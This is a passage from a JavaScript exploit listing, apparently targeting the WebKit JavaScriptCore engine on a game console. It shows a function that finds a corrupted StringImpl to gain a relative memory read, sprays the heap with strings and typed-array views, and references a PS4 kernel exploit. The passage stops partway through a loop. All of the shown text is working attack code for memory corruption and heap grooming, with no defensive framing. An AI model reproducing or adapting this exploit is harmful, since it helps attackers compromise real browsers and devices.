()
| 191 | |
| 192 | /* Executed after deleteBubbleTree */ |
| 193 | function leakJSC() { |
| 194 | debug_log("[+] Looking for the smashed StringImpl..."); |
| 195 | |
| 196 | var arr_str = Object.getOwnPropertyNames(g_obj_str); |
| 197 | |
| 198 | /* Looking for the smashed string */ |
| 199 | for (let i = arr_str.length - 1; i > 0; i--) { |
| 200 | if (arr_str[i].length > 0xff) { |
| 201 | debug_log("[+] StringImpl corrupted successfully"); |
| 202 | g_relative_read = arr_str[i]; |
| 203 | g_obj_str = null; |
| 204 | break; |
| 205 | } |
| 206 | } |
| 207 | if (g_relative_read === null) |
| 208 | die("[!] Failed to setup a relative read primitive"); |
| 209 | |
| 210 | debug_log("[+] Got a relative read"); |
| 211 | |
| 212 | var tmp_spray = {}; |
| 213 | for(var i = 0; i < 100000; i++) |
| 214 | tmp_spray['Z'.repeat(8 * 2 * 8 - 5 - LENGTH_STRINGIMPL) + (''+i).padStart(5, '0')] = 0x1337; |
| 215 | |
| 216 | let ab = new ArrayBuffer(LENGTH_ARRAYBUFFER); |
| 217 | |
| 218 | /* Spraying JSView */ |
| 219 | let tmp = []; |
| 220 | for (let i = 0; i < 0x10000; i++) { |
| 221 | /* The last allocated are more likely to be allocated after our relative read */ |
| 222 | if (i >= 0xfc00) |
| 223 | g_arr_ab_3.push(new Uint8Array(ab)); |
| 224 | else |
| 225 | tmp.push(new Uint8Array(ab)); |
| 226 | } |
| 227 | tmp = null; |
| 228 | |
| 229 | /* |
| 230 | * Force JSC ref on FastMalloc Heap |
| 231 | * https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151 |
| 232 | */ |
| 233 | var props = []; |
| 234 | for (var i = 0; i < 0x400; i++) { |
| 235 | props.push({ value: 0x42424242 }); |
| 236 | props.push({ value: g_arr_ab_3[i] }); |
| 237 | } |
| 238 | |
| 239 | /* |
| 240 | * /!\ |
| 241 | * This part must avoid as much as possible fastMalloc allocation |
| 242 | * to avoid re-using the targeted object |
| 243 | * /!\ |
| 244 | */ |
| 245 | /* Use relative read to find our JSC obj */ |
| 246 | /* We want a JSView that is allocated after our relative read */ |
| 247 | while (g_jsview_leak === null) { |
| 248 | Object.defineProperties({}, props); |
| 249 | for (let i = 0; i < 0x800000; i++) { |
| 250 | var v = undefined; |
nothing calls this directly
no test coverage detected